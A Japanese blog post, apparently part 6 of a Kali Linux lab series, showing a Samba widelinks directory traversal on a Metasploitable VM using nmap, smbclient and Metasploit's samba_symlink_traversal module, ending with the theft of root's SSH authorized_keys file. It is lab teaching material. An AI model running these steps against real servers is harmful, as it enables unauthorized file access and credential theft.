開発日報

窓際エンジニアの開発備忘。日報は嘘です。

【連載】VirtualBox + Kali Linuxによるハッキング実験室 第6回 ~ ディレクトリトラバーサル ~

はじめに

この連載ではVirtualBox + Kali Linuxを用いたハッキング実験を行います。今回は第6回です。

前回はwiresharkを使用しtomcatへのアクセス解析とシェル奪取を行いました。
今回はSambaの脆弱性を利用してディレクトリトラバーサルを実現します。

連載記事一覧

ディレクトリトラバーサルとは

ディレクトリトラバーサルとは、本来アクセスが禁止されているディレクトリにアクセスする攻撃です。

まずはポートスキャン・sambaへのアクセス

ポートスキャンの結果から、Metasploitableではsambaが稼働しており、共有サービスを提供していることがわかります。

root@kali:~# nmap -sV -O -p- 192.168.56.3
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-08 11:56 EDT
Nmap scan report for 192.168.56.3
Host is up (0.011s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
  (略)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

試しにアクセスてみましょう。

root@kali:~# smbclient -L //192.168.56.3
Enter WORKGROUP\root's password: 
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    tmp             Disk      oh noes! ← 怪しい
    opt             Disk      
    IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
    ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            METASPLOITABLE

共有名tmpのコメントがかなり怪しいため、これを攻撃対象にします。
Samba"smb.conf"ファイルの「widelinks」がyesになっているため、共有フォルダから、外部へのシンボリックリンクが作成可能です。

共有フォルダーからパーミッションが777のファイルにシンボリックリンクが張ってある状況を考えます。「widelinks」が有効だと、その共有フォルダーにアクセスできるユーザーは誰でもそのファイルを実行できてしまいます。

Metasploitには、「widelinks」が有効である場合にディレクトリトラバーサルを実現するモジュール("samba_symlink_traversal")が用意されて

ディレクトリトラバーサルを実行する

root@kali:~# msfconsole -q
[-] ***
[-] * WARNING: No database support: No database YAML file
[-] ***
msf5 > use auxiliary/admin/smb/samba_symlink_traversal
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp
msf5 auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 192.168.56.3

[*] 192.168.56.3:445 - Connecting to the server...
[*] 192.168.56.3:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.56.3:445 - Trying to link 'rootfs' to the root filesystem... ← リンクを貼ろうとしている
[*] 192.168.56.3:445 - Now access the following share to browse the root filesystem:
[*] 192.168.56.3:445 -  \\192.168.56.3\tmp\rootfs\ ← roofsにルートディレクトリがリンクされる。

[*] Auxiliary module execution completed

これでtmpという共有フォルダーがマウントされました。また、rootfsにルートディレクトリがリンクされました。Metasploitから抜けても、この状態は維持されているので、smbclientコマンドで共有フォルダーにアクセスできます。

msf5 auxiliary(admin/smb/samba_symlink_traversal) > exit ← Metasploitから抜ける
root@kali:~# smbclient //192.168.56.3/tmp
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Oct  8 12:23:54 2019
  ..                                 DR        0  Sun May 20 14:36:12 2012
  4524.jsvc_up                        R        0  Tue Oct  8 11:46:18 2019
  .ICE-unix                          DH        0  Tue Oct  8 11:46:03 2019
  .X11-unix                          DH        0  Tue Oct  8 11:46:09 2019
  .X0-lock                           HR       11  Tue Oct  8 11:46:09 2019
  rootfs                             DR        0  Sun May 20 14:36:12 2012

また、rootfsに移動してlsコマンドで確認すると、rootfsは確かにルートディレクトリへのリンクであることがわかります。

smb: \> cd rootfs
smb: \rootfs\> ls
  .                                  DR        0  Sun May 20 14:36:12 2012
  ..                                 DR        0  Sun May 20 14:36:12 2012
  initrd                             DR        0  Tue Mar 16 18:57:40 2010
  media                              DR        0  Tue Mar 16 18:55:52 2010
  bin                                DR        0  Sun May 13 23:35:33 2012
  lost+found                         DR        0  Tue Mar 16 18:55:15 2010
  mnt                                DR        0  Wed Apr 28 16:16:56 2010
  sbin                               DR        0  Sun May 13 21:54:53 2012
  initrd.img                          R  7929183  Sun May 13 23:35:56 2012
  home                               DR        0  Sat Sep 28 07:12:17 2019
  lib                                DR        0  Sun May 13 23:35:22 2012
  usr                                DR        0  Wed Apr 28 00:06:37 2010
  proc                               DR        0  Tue Oct  8 11:45:53 2019
  root                               DR        0  Tue Oct  8 11:46:09 2019
  sys                                DR        0  Tue Oct  8 11:45:54 2019
  boot                               DR        0  Sun May 13 23:36:28 2012
  nohup.out                           R    18078  Tue Oct  8 11:46:09 2019
  etc                                DR        0  Tue Oct  8 11:46:08 2019
  dev                                DR        0  Tue Oct  8 11:46:04 2019
  vmlinuz                             R  1987288  Thu Apr 10 12:55:41 2008
  opt                                DR        0  Tue Mar 16 18:57:39 2010
  var                                DR        0  Wed Mar 17 10:08:23 2010
  cdrom                              DR        0  Tue Mar 16 18:55:51 2010
  tmp                                 D        0  Tue Oct  8 12:23:54 2019
  srv                                DR        0  Tue Mar 16 18:57:38 2010

そのまま、ターゲット端末のssh情報を盗み出しましょう

smb: \rootfs\root\.ssh\> get authorized_keys
getting file \rootfs\root\.ssh\authorized_keys of size 405 as authorized_keys (19.8 KiloBytes/sec) (average 90.2 KiloBytes/sec)
smb: \rootfs\root\.ssh\> exit
root@kali:~# ls
authorized_keys  dev        Downloads  pass.lst   Pictures  result     user.lst
Desktop          Documents  Music      passwords  Public    Templates  Videos

まとめ・次回

今回はディレクトリトラバーサルを実現し、sambaでの共有ディレクトリから、共有対象外のディレクトリにシンボリックリンクを貼り、情報を盗み出しました。

次回はログの改ざんを行います